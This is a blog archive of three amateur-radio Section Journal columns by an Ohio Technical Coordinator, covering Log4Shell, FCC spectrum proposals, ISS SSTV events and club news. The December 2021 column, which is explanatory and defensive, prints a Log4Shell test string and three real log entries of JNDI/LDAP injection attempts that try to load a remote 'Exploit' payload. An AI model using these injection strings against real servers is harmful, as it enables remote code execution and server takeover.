Tag Archives: SSTV

Ohio Section Journal – The Technical Coordinator – December 2021 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

Ever hear the quote from a famous computer security professional, Bruce Schneier, stating ‘vulnerabilities only ever get worse, they never get better?’ The Information Technology industry had it about as bad as it gets this month. A vulnerability in a Java logging utility, Log4j, obtained the highest severity rating, a CVSS score of 10. CVSS is a computer industry standard for rating vulnerabilities, 0 to 10 with 10 being the most severe. Dubbed Log4Shell, this trivial attack can gain shell level access to a system, described as the “the single biggest, most critical vulnerability ever” by Ars Technica.

Most any IT applications or services have a server to handle requests. This could be any of a web server, mail server, or even a game server hosted on the Internet. These servers generate logs such that administrators can review them to validate the server is functioning correctly. Logs are heavily relied upon when users report problems. Admins use logs to recreate events of the past as part of troubleshooting. This is referred to as the “/var/log” directory in Linux systems. Anytime a request is made from a device to a server, that generates a log entry. Apache web server logs contain things such as:

  • Source/users IP address
  • Date and time
  • Get or post. Get retrieves data from the resource while post does the opposite, sends data to the resource.
  • URL requested
  • HTTP status codes. This is where the 404 “not found” meme originates.
  • Size of the data returned
  • User agent which is accessing the resource, usually a browser. May include other bits like operating system information.

A real log example from my webserver where AllStar & Allmon are running (user’s IP address is replaced with 123.456.789.000):

123.456.789.000 - - [18/Dec/2021:23:41:42 +0000] "GET /server.php?nodes=1000,50394,1202,1203,1204 HTTP/1.1" 200 187395 "https://allmon2.k8jtk.org/link.php?nodes=1000,50394,1202,1203,1204" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57"

An administrator may want to take actions based on the logs. That’s where Log4j is added to the flow. The server will send logs to Log4j. Log4j parses logs. It decides to interpret or send them off for archival purposes in the file system or to a separate logging server.

A string such as the one below is passed to a web server. Log4j will act on it including download and execute any random payload that is returned.

${jndi:ldap://log4shell.huntress.com:1389/unique-identifier}

The above string similar to a test generated by the Huntress Labs Log4j/Log4Shell vulnerability tester. This is not showing how to exploit servers, anything that’s a secret, or anything that’s not already published online. In fact, the Huntress tool is open source on GitHub. If a similar string is entered into a web application and the Huntress Labs server subsequently sees a request with that unique identifier, it can be assumed the web application tested is vulnerable. A negative test does not necessarily mean the application is not vulnerable.

There is a one-liner test that can be run from the Command Line (CLI) on a Windows or Linux system called Log4j Checker. Note, however, the checker is beta code and the maintainer is not committed to maintaining the script. There is a post looking to transfer ownership as it took too much of their time.

The Huntress Labs tester is benign but the bad guys won’t be so nice. They can craft a string having Log4j reach out to any external resource, such as BadGuyMaliciousHost[dot]com, download and execute any payload the bag guys wish, effectively pwning the server (pronounced “owning”). Not everything that’s sent back to a server will be bad but there is a very high probability it will be.

Real log entries trying to exploit Log4Shell three different ways on my server are shown below. No, my web servers are not vulnerable but that doesn’t stop individuals from trying to find out. All requests originate from the same IP attempting to have the “Exploit” payload downloaded and executed on my server from another remote server. Relevant IPs are scrubbed, client is replaced with 111.222.333.444, remote server replaced with 555.666.777.888:

111.222.333.444 - - [22/Dec/2021:17:22:09 +0000] "GET /${jndi:ldap://555.666.777.888:1389/Exploit} HTTP/1.1" 404 5200 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
111.222.333.444 - - [22/Dec/2021:17:22:11 +0000] "GET / HTTP/1.1" 200 5259 "-" "${jndi:ldap://555.666.777.888:1389/Exploit}"
111.222.333.444 - - [22/Dec/2021:17:22:16 +0000] "GET /?s=${jndi:ldap://555.666.777.888:1389/Exploit} HTTP/1.1" 200 5259 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
Trivial exploit receives a trivially drawn logo in MS Paint
(Kevin Beaumont @GossiTheDog)

Servers can be attacked using a single line of text sent through a web application form, instant message, URL, chat window, or, as some clever minded individuals surmised, the name of an iPhone triggered the exploit as well. This confirmed Apple’s servers were vulnerable to attack. The device name of an iPhone was changed to a string which triggered the exploit. When the iPhone device registered and communicated with Apple’s servers, Log4j saw the string and acted upon it. Luckily the individual composed a benign payload to have Apple’s infrastructure induce a DNS request – which is something done all the time like when browsing the Internet. If that individual saw in logs, on a server he controlled, a DNS request for the hostname originating from Apple IP addresses, it’s was then known Apple’s servers were vulnerable. If there was no DNS request, could be assumed not vulnerable or the exploit was already patched.

Once a bad guy obtains access to a vulnerable system, they can do anything the user or administrator can do. Add programs, remove programs, delete files, install services to mine cryptocurrency, create botnets, send spam, and use the server in other illegal activities such as host ransomware.

Log4j needs updated immediately to log4j-2.16.0 or later on any system running an earlier version. Make sure Java is updated while you’re at it. Though patches have been released, the industry is at the mercy of vendors to release updates. A list is actively being updated of known vulnerable applications, services, appliances, and other devices. There are A LOT. If devices are found vulnerable but no updates are available, remediation steps should be taken like shutting down, replacing, or moving to an isolated network as to not be exposed to the Internet or other devices on the Local Area Network (LAN). The Canadian government shutdown nearly 4,000 websites in response. Few actions are more drastic as shutting down government websites and services. Shutting down your services and applications should not be out of the realm of possibilities.

As the cliché goes: this was a feature, not a bug in Log4j. Users wanted parsing as part of the plugin but that feature was poorly implemented. Java is the #1 development platform and runs on billions of devices according to the website. Anything running Java is potentially vulnerable. Big named companies and applications were found to be vulnerable in addition to Apple: Amazon, Tesla, Apache web servers, video game servers, Elastic Search, Twitter and no doubt thousands more.

This is not to minimize the impact of a random server setup in a closet that’s been forgotten about. They are just as vulnerable and easily exploited. As are the random Internet of Things (IoT) companies who released cheap Java based video cameras, doorbells, door lock controllers, internet connected audio devices, network devices, or digital video recorder devices – again, to name a very new. There they sit with ports forwarded from the open Internet, very likely opening a home network to attack.

Hacking a Minecraft server with Log4Shell (Huntress)

To say gamers aren’t good for anything, this exploit was first found in the very popular game called Minecraft. Someone was looking for ways to exploit Minecraft game servers. Using a malicious string in a Minecraft chat box, they were able to “pwn” the server.

Sad part in all of this: billion-dollar companies and technologies are relying on open-source programs maintained by volunteers. These volunteers bust their butts (for free) to fix this issue so that enterprises whom rely on this technology can continue to operate. If you have a commercial enterprise, it’s imperative companies should be kicking in, providing support or substantial donations to these projects.

Same is true for a favorite ham radio implementation. Provide time in testing, talent in support or quashing bugs, or treasure in donating to the project to keep the lights on. An obvious example to me is ham radio digital hotspots. Yes, you might have purchased a board or complete kit from a vendor or someone selling devices. Individuals who wrote the underlying code (G4KLX) and package it so it works as well as it does (Pi-STAR) do not see a penny from that sale. Please be generous to the projects that not only make ham radio enjoyable or advance ham radio technology, but ones you use for free in any capacity.

To that point, I found a reference to Ham-Pi containing a vulnerable Log4j version. Exposure should be minimal only being accessible on Local Area Network (LAN). In theory, the LAN should have less attack vectors. I’m sure someone has forwarded SSH, VNC, or some other port to Ham-Pi from the Internet, opening their network and devices to external attacks. Dave is going to release an update to Ham-Pi as his time allows.

As for other projects, it’s not any different across the industry, hams will be all in on a project and let the project get stale, not receiving updates. If a project is open source, searching the code for Log4j as a dependency is a sign that application is vulnerable. If the Log4j dependency can be updated externally to the latest version and the code re-compiled, that would mitigate the exploit. However, if there are only downloadable compiled binaries available – there’s no telling if it is or is not vulnerable to exploitation.

This vulnerability checked off a lot of boxes that most overlook or try to argue are non-issues. Those being: this poorly written feature has been vulnerable to exploit since 2013. This, again, proves vulnerabilities will exist for many years before someone finds them. Most will say the app is “secure.” Nothing is entirely secure, vulnerabilities just haven’t been found and aren’t known yet. Another is vulnerabilities exist only in web browsers, to say not in operating systems or other applications. While it’s true that most are disclosed because everything uses a web browser today, more eyes are looking at browsers for exploits. This is a case where it is not the web browser but a component of the Java logging framework used on backend systems.

That’s a lot of “potentially” vulnerable devices
(Kevin Beaumont @GossiTheDog)

Services and applications need to be run with least privileged accounts, non-root and non-administrative accounts. This is my gripe about many projects that run all as root and do not take the time to understand or figure out least-privileged permissions. Vulnerabilities certainly can and do exist anywhere humans have written a line of code or run a command.

I especially recommend not port forwarding from the public Internet due to reasons such as the ease of exploiting Log4Shell or any other trivially exploitable vulnerability yet to be discovered. Devices like video cameras or other IoT that require access by a few individuals should be setup with a tunnel using a private link VPN. Router and SD-WAN (software defined networking) technologies such as OpenWRT, DD-WRT, Tomato, pfSense, OPNsense, Zerotier, a Pi, or any other number of technologies that can establish a secure point-to-point tunnel eliminates exposure of devices to the Internet. Plenty of tutorials exist showing how to setup OpenVPN or Wireguard on consumer-based routing devices. There is absolutely no need to have random IoT devices on the Internet open to exploitation.

To make matters worse, I have found ham radio devices such as OpenSpots and Pi-Stars on the Internet – some with default passwords. DO NOT DO THIS (either)! These devices are setup with direct access from the Internet. Why? Users think it’s convenient. Convenience is the enemy of security. Some probably were setup with temporarily access from the Internet and never had that removed.

It is mostly unrealistic to host a web or other service for hundreds or thousands of users, requiring each to configure a VPN. A Pi-Star or AllStar node setup for club members to control would be an example. Devices hosting such services should be isolated in a proper DMZ, updated frequently, use encryption and strong passwords. For plenty of security tips and tricks, check out my October 2020 article.

Received at the K8JTK shack during the June 2021 ISS SSTV event

If you’re reading this before the end-of-the-year, there is still time to participate in the ARISS SSTV event. The International Space Station will be sending Slow Scan TV images starting Dec 26 about 18:25 UTC and ending Dec 31 about 17:05 UTC. These times are, of course, planned and subject to change based on crew schedules and availability. These events generate a lot of buzz and interest in SSTV and ham radio in general. If you don’t have a satellite tracking station, using an outdoor omni-directional antenna, an HT with 1/4 wave whip, or even better a hand-held directional (like ones used for foxhunting) will work for receiving signals.

All you need is a receiver tuned to 145.800 MHz FM, software to decode signals such as: MMSSTV on a PC (I also have getting started instructions), DroidSSTV for Android or SSTV for iOS. Satellite tracking programs such as: Gpredict or Nova on the PC, AmastDroid, or websites like N2YO and AstroViewer track the position and offer predictions of upcoming passes. When the ISS is nearly over head, start receiving images! The ARISS link above has information on uploading images for a QSL or for an award.

Thanks for reading. Happy New Year! 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – December 2019 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Scott – N8SY and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Scott has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

‘Tis the season for … regulation. The FCC and ARRL have been quite busy with proposed and amended changes affecting Part 97. Both organizations take on proposed changes brought by technical requirements, additional research, lobbying organizations (commercial and private), other laws/regulations, and of course, other hams. The FCC publishes proposed rules and invites the general public to comment on changes. Comments help decide if the FCC should enact a proposal. Once again, our allocations are under scrutiny and attack.

FCC WT Docket 19-348 and WT Docket 19-138 seeks to change 3 GHz and 5.8 GHz allocations. Nearly all allocations for the Amateur Radio Service above 220 MHz are on a secondary basis. Secondary allocations are services allowed to use the same frequency range as a primary user. A secondary user cannot cause harmful interference to primary users and cannot claim protection from primary users. Protection can only be claimed by the same or other secondary services. WT Docket 19-348 seeks to eliminate the secondary allocation of the Amateur Service on the 3 GHz frequency range. WT Docket 19-138 seeks to modify primary usage on the 5.8 GHz bands. Though not eliminating the Amateur Service secondary allocation, this would affect and restrict secondary usage.

HamNET Mesh (Wikipedia)

What’s in those frequency ranges? Primarily WiFi networks. 5 or 5.8 GHz, commonly referred to as 5 GHz WiFi (not to be confused with the mobile broadband 5G standard) or the commonly known standard, 802.11ac. Consumer WiFi in both 2.4 GHz and 5 GHz are unlicensed ISM spectrum meaning you don’t need a license from a regulatory agency to use that spectrum. This is the reason you don’t need a license to operate a WiFi router or hotspot where a laptop, mobile phone, or Internet of Things device would communicate with a wireless network or the Internet. The 3 GHz spectrum is also used to create wireless networks but does require a license in other to operate. Our allocation (3.3 – 3.5 GHz, or 9-centimeter band) is just below commercial WiFi but the same equipment is modified for amateur use.

This Notice of Proposed Rulemaking (NPRM) is in response to the MOBILE NOW (Making Opportunities for Broadband Investment and Limiting Excessive and Needless Obstacles to Wireless) act passed by Congress to make new spectrum available for fixed and wireless broadband, aka your mobile phone and 5G devices. From the introduction to docket 19-348 by the FCC, “By proposing to delete the existing non-federal secondary allocations from the 3.3-3.55 GHz band in the Table of Frequency Allocations, we are taking an important initial step towards satisfying Congress’s directives and making as much as 250 megahertz of spectrum from this band potentially available for advanced wireless services, including 5G, the next generation of wireless connectivity.” “Currently, the entire 3.1-3.55 GHz band is allocated for both federal and non-federal radiolocation services, with non-federal users operating on a secondary basis to federal radiolocation services, which have a primary allocation.”

“Needless Obstacles” are apparently Amateur Radio and using that space to build out high speed networks to support Emergency Operations Centers (EOCs), non-governmental agencies (NGO), and first responders. Most notable use of the 3 GHz spectrum for Amateur Radio has been pioneered by the AREDN (Amateur Radio Emergency Data Network) group which came out of an ARRL group on High-Speed Multimedia (HSMM). For more than a decade, AREDN has developed software for a large number of commercially available wireless devices, in the $45-$95 range, allowing operation in Part 97 allocations including 900 MHz, 2, 3, and 5 GHz bands. Commonly referred to in the ham community as “Mesh” networking, these devices utilize the same protocols used on the Internet allowing served agencies connectivity to Internet-based services. Independent of Internet infrastructure, they can additionally provide video, email, voice, and chat service when the Internet is not available.

Though the proposal offers re-locating secondary services, the AREDN project has posted their response to these proposed changes citing such a move “would be difficult if not impossible without a complete redesign, manufacture, purchase, and installation of new custom Amateur hardware and software… raising the price out of reach for the typical ham.” The ARRL news posting includes information on how to file a comment on the proposal at the end of the article. An earlier post from the ARRL indicates the changes also affect satellite operations in the 3.40 – 3.41 GHz segment.

Obviously, I’m against commandeering bands and spectrum of the Amateur Radio Service. Trying to lessen the impact by seemingly providing good-will relocation assistance always comes with catches and gotchas, not-to-often many benefits. Many outlined in the AREDN post. Contributions are always of question of when, how much, and how far will it go. It’s unlikely they’re going to make any manufacturing contributions to redesign and sell new equipment at a reasonable price. Prices for mesh equipment is reasonable because of commercial interests in the 3.65 GHz licensed WiFi band. Not to mention time invested by volunteers to develop mesh technology hams have available today. Please consider commenting on the proposal or support the ARRL Spectrum Defense Fund which takes on challenges such as these and protects our operating privileges.

3 GHz AREDN mesh nodes (AREDN)

I’ve been in favor of the symbol rate elimination from Part 97 and adopting bandwidth limitations of 2.8 kHz on HF band data emissions – though I would like to see bandwidth limitations set across the board. Arbitrary [low] baud rates are not allowing experimentation of more innovative and spectrally efficient digital modes, and curtail experimentation with modes that can transfer the same data at a much faster rate. The ARRL has renewed its request to delete the HF symbol rates and adopt the 2.8 kHz bandwidth requirement.

The ARRL believes a proposal filed by New York University (NYU) would add further uncertainly to Section 97.113(a)(4) – prohibiting “messages encoded for the purpose of obscuring their meaning.” In relation to the deletion of symbol rates, the NYU proposal seeks to adopt language the ARRL feels could weaken the prohibition of encrypted messages. The wording “effectively encrypted or encoded messages, including messages that cannot be readily decoded over the air for true meaning.” The League has an issue with the wording “effectively encrypted.” “ARRL said that adding the word “effectively” would make the definition even more vague by including all encoded messages plus an additional set of undefined messages, the extent of which is unknown.” It has asked the FCC to dismiss the NYU petition.

The issue of encryption will continue to be a hot-button issue and will be as heated as it has become among scanner enthusiasts when disusing encryption on public safety radio systems, if not more. I completely understand and fully support the openness and transparency of Amateur Radio. However, I think there are a few issues we, as hams, need to have very solid responses when encryption comes up in discussion and in competition with other sources.

The first is privacy and security. More laws are being passed such as GDPR in Europe. It is mandated regulation around the privacy and protection of European Union citizens including data collection, retention, disclosures – and encryption standards. On the heels of that regulation, many states have passed similar laws mirroring those compliance requirements. I see us (hams) sitting at the table with served agencies. Some representative has mandated some form of encryption on network links and retaining control of data. Is ham radio now off the table? Probably depends on the wording. What is our answer when commercial entities are pushing their “first responder” networks and reserved bandwidth that can offer data encryption and protection? Is the expectation of coding patient data into TAG IDs good enough? Does it keep ham radio relevant because we can’t offer encryption and why? Proposals to modify the obfuscation requirements of Part 97 have pointed to such requirements or potential requirements by served agencies. I guarantee we have not seen the last of these arguments.

Experimentation side of ham radio is another issue. I have seen the maker movement as a way to bring younger and like-minded people into the hobby. If these technically minded individuals are experimenting with technologies that probably offer some form of encryption by default, how can ham radio win at this argument? Why would they choose a non-encrypted method when there are readily available encryption methods and they are becoming the foundation for newer technologies? Maybe the thought of being able to use higher power or not as crowded spectrum might be an incentive. To me, it’s not an issue of ‘what are they hiding’ or ‘why do they need encryption.’ Technical (ie: Information Technology, I.T.) professionals are opting for security and encryption instinctively. Technical individuals and the industry have conditioned average users to look for secure options such as checking for the green lock on websites and using “secured” WiFi networks. Vint Cerf, considered to be the father of the Internet, reflected on the progression of the Internet by stating “If I could start over again I would have introduced a lot more strong authentication and cryptography into the system.” How would that have affected ham radio TCP networks? Maybe those who would utilize ham radio for their experimentation purposes just don’t want someone else peering into their information exchange or use it as a method of authentication, not necessarily hiding something.

In a devil maybe in the details change, the FCC modified Part 97 RF exposure safety rules. Current safety limits will remain unchanged. The amateur-specific exemption from having to conduct an RF exposure evaluation will be replaced by the FCC’s general exemption criteria. Certain stations are exempted from having to conduct evaluations based only on power and frequency. The Commission indicated that if the source was excluded from routine evaluations under the old rules, they will be exempt under the new rules. From the ARRL news release: “For applicants and licensees in the Amateur Radio Service, we substitute our general exemption criteria for the specific exemption from routine evaluation based on power alone in Section 97.13(c)(1) and specify the use of occupational/controlled limits for amateurs where appropriate,” the FCC said. “RF exposure of other nearby persons who are not members of the amateur licensee’s household must be evaluated with respect to the general population/uncontrolled exposure limits. Appropriate methodologies and guidance for evaluating Amateur Radio Service operation is described in the Office of Engineering and Technology (OET) Bulletin 65, Supplement B,” the revised rule concludes. Further review by ARRL technical, legal staff, and ARRL RF Safety experts is needed to determine any changes in requirements.

(Wikipedia)

In 2017, Norway was the first country to shut off FM broadcasts in favor of Digital Audio Broadcasting (DAB). In North America, we use the HD Radio standard. Not amateur related, but interestingly the FCC is seeking comments on a NPRM allowing AM broadcasters to voluntary change to an all-digital broadcast. “We tentatively conclude that a voluntary transition to all-digital broadcasting has the potential to benefit AM stations and provide improved AM service to the listening public,” the FCC said. “We seek comments on proposed operating standards for all-digital stations and the impact of such operations on existing analog stations and listeners.” We’ll see where this goes. This maybe an incentive for low-power AM stations to move to HD Radio. I didn’t think there were many AM HD Radio stations. This was confirmed by HD Radio – Find Stations that indicated there were about a half-dozen total in the major cities of Ohio. I also wonder how HD Radio will work with signal fading or can it be received at a great distance from cities like Chicago, New York, or Nashville. Instead of being able to receive AM radio with a crystal set or HF radio, you might need a computer for some stations in the near future.

I usually don’t get to publish ISS Slow-Scan TV events in advance because they are often last minute and at the mercy of crew availability. There was an announcement of a possible SSTV event starting December 27 or 28 of this year. No special setup is required to copy images, even an HT can be a crude way to receive. To receive the best images, Yagi antennas on a tracking tripod is best. I just use my external VHF antenna and let the computer listen for transmissions. To receive SSTV images, the popular choice for Windows is MMSSTV and QSSTV for Linux. Tune a radio to 145.800 MHz FM and wait for the ISS images to appear on screen. I have tutorials available to help get your station setup and get started with MMSSTV for more details on receiving images.

Thanks for reading. Happy holidays, Merry Christmas, and Happy New Year!
73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – September 2017 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Scott – N8SY and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Scott has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at: http://arrl-ohio.org/news/OSJ-September-17.pdf

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

Last couple articles have been features so this month is a lot of odds-and-ends…

System Fusion

Last month’s article covering many System Fusion issues sparked some feedback as one might imagine. It was split.

One group in the section was using an external controller and was having a DR-1X repeater lock-up problem. They troubleshot the issue and with “additional circuity” resolved their issue. One disputed my assertion the repeater is two FTM-400 radios, but didn’t provide any details to the contrary. Having opened up LEARA’s DR-1X and upgraded the firmware, one radio looks exactly like the 400 (minus the speaker). Additionally, the firmware upgrade process was identical to my 400. Arguably, the transmit radio could be different but it’s hard to really tell with the heatsink mounted on top.

On the opposite end, a club in the section is completely frustrated with how Yaesu treated them as customers. They’ve attempted to call and email no less than 6 Yaesu representatives asking for details on promotions, hardware specifications, or answer to questions but never heard a word. They believe ‘Yaesu has lost any competitive edge they had by flooding the market with Fusion gear.’ Though I agree, I have not experienced this particular problem with my inquiries to support. My emails have been answered within a day or so – usually confirming suspicions I heard elsewhere. Seemingly ignoring customers is bad for business. Though customers feel they are being ignored, it may be a management attempt to better coordinate internal communication before going public. You’re doing it wrong, but it is a possibility. As pointed out previously, statements of fact made countless times are suddenly reversed and changed at release.

To clarify a point, the FTM-400 radio does operate both A & B sides of the radio simultaneously. My issue is, for their high-end offering of a mobile radio, it should be able to operate Fusion from both A & B sides of the radio at the same time. It does not. The A side can operate Fusion digital or FM. B only operates FM. Operating Fusion digital from both sides is one nice feature of the FT2D.

It didn’t take long before I started hearing the DMR arguments. DMR does have issues too but I see them as growing pains. It’s not: ‘this crashes, this locks up in transmit, this doesn’t work until you get a factory upgrade, need to spend $$$ to work around a shortcoming, upgrade to get the full power output, something can’t be fixed because there is no published specification…’ the list goes on. I’ve covered DMR issues here before and have noted most of them in my DMR Terminology and Programming a Code Plug learning series: http://www.k8jtk.org/category/amateur-radio/dmr-in-amateur-radio/.

Background checks, public service, & saving lives

The era of submitting to a background and credit check before helping out with fund-raising public service events is upon us. The local Multiple Sclerosis Society in Cleveland hosts a 150 mile (or so) bike ride every year. This used to be called “Pedal to the [Cedar] Point” but was renamed “Buckeye Breakaway” when the ride changed destinations to Ashland University. Last year, the MS society pushed for all volunteers to run a full background check. This included all ham, SAG (Support and Gear), and medical units – whether they were mobile or stationary at rest stops. Failing to complete the required check or failing the check would mean that person couldn’t volunteer or participate. This request was sprung on the ham and medical coordinators a few weeks out form the event. Citing time constraints and the amount of push back from volunteers, eventually the required check was no longer required but not after some had already completed the investigation.

This year, the MS society required a background investigation and proof of liability insurance for SAG drivers. Though I was not transporting riders, I too had to submit because I was the shadow of an MS staff person for the event. The investigation service stated a ‘credit check’ would be part of the reporting, though the society said it would not be a factor for eligibility.

Like many organizations, the MS Society is going through its share of layoffs, reorganizations, and centralization. The Cleveland chapter had little recourse since the background check was mandated from HQ. I suspect this will become the norm rather than the exception in the legal, CYA, society we live in. It sure takes the fun out of doing a public service event and not sure I want to give up that much personally identifiable information again for a fundraiser event. Then again, Equafax hands out PII data to anyone who can gain access to their systems.

That issue aside, a real life threatening event happened. Ham and medical volunteers dealt with a roll-over accident involving one of the cyclists in the event, a utility pole, and a parked car – all because of an impatient driver. This happened in Medina County near Valley City. The accident was radioed in by a ham volunteer. Other hams were on scene along with the Northeast Ohio Medical Response Corps to triage the situation. NEOMRC is a group of volunteers who provide medial support services for events and nearly all are licensed hams. The injured cyclist was life-flighted to a nearby hospital. The driver, who caused the accident, left the scene. By late afternoon, the story was all over the local news: http://fox8.com/2017/08/05/cyclist-struck-by-car-during-race-in-medina-county/. Fortunately, no one was killed. Img: Brunswick Hills Firefighters.

ISS SSTV

To commemorate the 20th anniversary of Amateur Radio on the International Space Station (ARISS), a slow scan TV event was held July 20th and ran for 3 days. During these events, SSTV transmissions originate from the International Space Station as it orbits in space. No special setup is required to copy the images. To receive the best images, Yagi antennas on a tracking tripod is best. I just use my external VHF antenna and let the radio listen for transmissions. Images sent featured different ARISS activities over the past 20 years. Check out the images 34 images I received: http://www.k8jtk.org/2017/08/03/sstv-transmissions-from-the-international-space-station-july-2017-edition/. If you want to get started in SSTV, check out the links to my getting started tutorial of MMSSTV in that post. I will also be giving my SSTV presentation at the Geauga Amateur Radio Association meeting on September 25, 2017 at 7:30 in the Geauga County Emergency Operations Center. More on the meeting: https://geaugaara.org/.

2017 Eclipse & WSPR

I contributed to the radio sciences taking place around the solar eclipse. I didn’t get to travel to an area of totality or even take off work. Instead I worked a number of the special event stations in the surrounding days. Still have to send away for my certificate. Since I didn’t take off work or do anything unusual, my contribution to the “eclipse QSO party” was to leave WSPR decoding signals and upload the spots. Scientists are hoping to learn more about eclipses and effects they have on the atmosphere and radio propagation from those spots.

WSPR stands for Weak Signal Propagation Reporting Network. If you have WSJT-X installed, WSPR is included in that package. WSPR is intended to be a QRP mode because each receive and transmit window is 2 minutes. It works like a beacon network based on timed transmissions like JT65, JT9, and FT8. Each band has 200 Hz of bandwidth designated for WSPR. A transmitting station will digitally transmit their call sign, grid square, and dBm (power output). Similar to the JT’s, the signal report (DB), time difference between the two clocks, and drift are calculated by the receiving station. Decoded signals are uploaded as spots to the WSPR Net website. The data is crunched and used to draw real-time maps of propagation. More: http://wsprnet.org/

Technical Specialist Reports

In Technical Specialist news, Dave – KD8TWG held a “Test and Tune” night for LEARA. Communications and spectrum analyzers were brought in to tune radios that might be off frequency or show how much those Baofeng radios do transmit everywhere at once. Contact Dave or a section Specialist to bring this educational and eye-opening experience to your club meeting.

In addition, KD8TWG would like to thank everyone who came out and worked the 195th Great Geauga County Fair. Dave was in charge of the communications and networking for golf cart drivers who transported fair goers to and from their cars. Golf carts were equipped with APRS for location tracking. A WiFi network based on the Mikrotik NV2 protocol was built for two weeks. NV2 is a proprietary WiFi protocol based on TDMA in the 5.1-5.8 GHz range. The advantage of TDMA wireless is better throughput and lower latency in point-to-point or point-to-multipoint networks. Traditional WiFi is built on a Carrier sensed collision avoidance system where nodes transmit only when they sense the channel is idle. Dave points out, this is NOT mesh. Over the wireless network, they ran a phone system and IP cameras. The Sherriff’s Office was impressed with the video coverage and wants to run more cameras next year. By the numbers: 60 volunteers worked 1,284 hours, with just under 700 golf cart transports. Dave ate approximately 47,000 calories in fried food. Imgs: KD8TWG.

Technical Regulation Reform

An ARNewsline report (#2080) points out the FCC Technical Advisory Council is looking for opinions and suggestions to update existing technical regulations or to adopt new ones. “The FCC wants the council to single out any rules that are obsolete or in need of being brought up-to-date. The Council also wants comments on how the agency’s regulatory process on specific technical rules could become more efficient. The agency stresses that the issues being considered are those of a technical nature.” Thoughts or opinions can be filed in ET Docket 17-215 or with the ARRL. October 30th is the deadline. More: http://www.arrl.org/news/fcc-technological-advisory-council-investigating-technical-regulations

Foxhunts

I’ve only participated in two Fox Hunts. The first time, I came in dead last. Second time, came in second. No idea how that happened because no skills were honed at all. The Ham Radio 360 podcast had an episode with Larry Jacobs – WA7ZBO talking all about Fox Hunts. Surprising to me was the Tape measure antenna is very popular even among serious hunters. As for gear, an antenna, attenuator, and radio are needed. In the absence of an attenuator, your body could be used to attenuate signals. Larry talked about some dos and don’ts. He encouraged hamfests to hold hunts to ‘whet the appetite.’ The most popular hunts are races with mileage and time restrictions to keep things safe. Don’t make the hunt too hard where participants get discouraged and don’t want to ever participate again. Always use public property. Use common sense and don’t be a wise guy. For example, a convention had the fox located near the hotel pool. When someone asked what everyone was doing with antennas around the hotel, someone responded with ‘a Soviet Satellite with a radioactive payload went down near here.’ Guests couldn’t check out of the hotel fast enough. The hotel asked this group not to return. While funny, don’t be that guy. Instead have ARRL handouts and pamphlets about ham radio when someone asks. The episode can be found at: http://hamradio360.com/index.php/2017/07/25/ham-radio-360-fox-hunting-transmitter-bunnies-too/

Last Man Standing & Frequency TV shows

Many have heard by now the Tim Allen show “Last Man Standing” was canceled by ABC and possibly looking for a new home. Tim Allen plays a fictional ham radio operator using the call sign KA0XTT. The show was popular among politically conservative individuals and ham radio operators. According to ARNewsline (#2069), talks fell through for the show and it will not be returning with new episodes. The show will soon be removed from Netflix as 20th Century Fox struck a deal with Hulu for exclusive rights to their catalog, which includes Last Man Standing. Hulu is a premium service for streaming TV and moves. Channels carrying reruns include: CMT, Hallmark, Freeform, and The CW. Also on CW was the TV spinoff of the move Frequency, it too was canceled.

TYT MD-2017 Broken Antenna Connectors

